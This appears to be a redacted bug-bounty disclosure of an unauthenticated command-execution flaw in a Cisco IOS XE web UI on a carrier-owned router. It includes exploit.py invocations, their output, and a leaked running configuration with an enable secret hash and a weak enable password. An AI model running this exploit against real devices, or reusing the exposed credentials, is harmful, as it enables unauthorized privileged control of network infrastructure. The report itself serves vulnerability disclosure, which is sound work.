Cisco IOS XE instance at ████ vulnerable to CVE-██████

How it was found

Summary:

CVE-███████ is characterized by improper path validation to bypass Nginx filtering to reach the webui_wsma_http web endpoint without requiring authentication. By bypassing authentication to the endpoint, an attacker can execute arbitrary Cisco IOS commands or issue configuration changes with Privilege 15 privileges. Further attacks involved exploitation of CVE-2023-20273 to escalate to the underlying Linux OS root user to facilitate implantation.

This PoC exploits CVE-█████████ to leverage two different XML SOAP endpoints: The vulnerability check, config, and command execution options all target the cisco:wsma-exec SOAP endpoint to insert commands into the execCLI element tag. The add user option targets the cisco:wsma-config SOAP endpoint to issue a configuration change and add the Privilege 15 account. This endpoint could be [ab]used to make other configuration changes, but thats outside the scope of this PoC.

Proof On Concepts :

See below for an example request that bypasses authentication on vulnerable instances of IOS-XE. This POC creates a user named baduser with privilege level 15. Let’s dig into the details. {F3672631}

1. Sign in as any user ███ query
2. Visit Searchbar and Search Query ██████████: "MTN Innovation Centre"`
3. Found domain owned by MTN Cameroon as ███
4. Intercept url to burp-suite and sent to repeater
5. Sent to intruder and Set up the exploits here
6. Run exploits bellow command

exploit.py -t ████ -c

Testing for vulnerability
Target IP:      █████
Target URL:     █████████
Vulnerable:     True
IOS Ver:        ISR4331/K9 europ-constantia-2 IOS 16.6 Cisco IOS Software [Everest], ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.6.4, RELEASE SOFTWARE (fc3)

Done.

exploit.py -t █████ -g

Selected Target:        ██████
Running in Exec Mode
Executing Command:      sh run

Sending exploit to target URL:  █████

Building configuration...
Current configuration : 17326 bytes

enable secret 5 $1$vF3Q$wplcifyib3DUyzbgcUGe/1
enable password 7 1214041E1E
snmp-server trap-source GigabitEthernet0/0/0.3029
snmp-server source-interface informs GigabitEthernet0/0/0.3029
snmp-server contact ████ ██████

and you can see all the sensitive for configuration was exposed

{F3672637}

{F3672640}

{F3672642}

Supporting Material/References:

• Cisco Advisory
• horizon3ai CVE-██████ research
• horizon3ai CVE-██████ PoC
• LeakIX CVE-2023-20273 PoC

Impact

Cisco is providing an update for the ongoing investigation into observed exploitation of the web UI feature in Cisco IOS XE Software. We are updating the list of fixed releases and adding the Software Checker. Our investigation has determined that the actors exploited two previously unknown issues. The attacker first exploited CVE-█████ to gain initial access and issued a privilege 15 command to create a local user and password combination. This allowed the user to log in with normal user access. The attacker then exploited another component of the web UI feature, leveraging the new local user to elevate privilege to root and write the implant to the file system.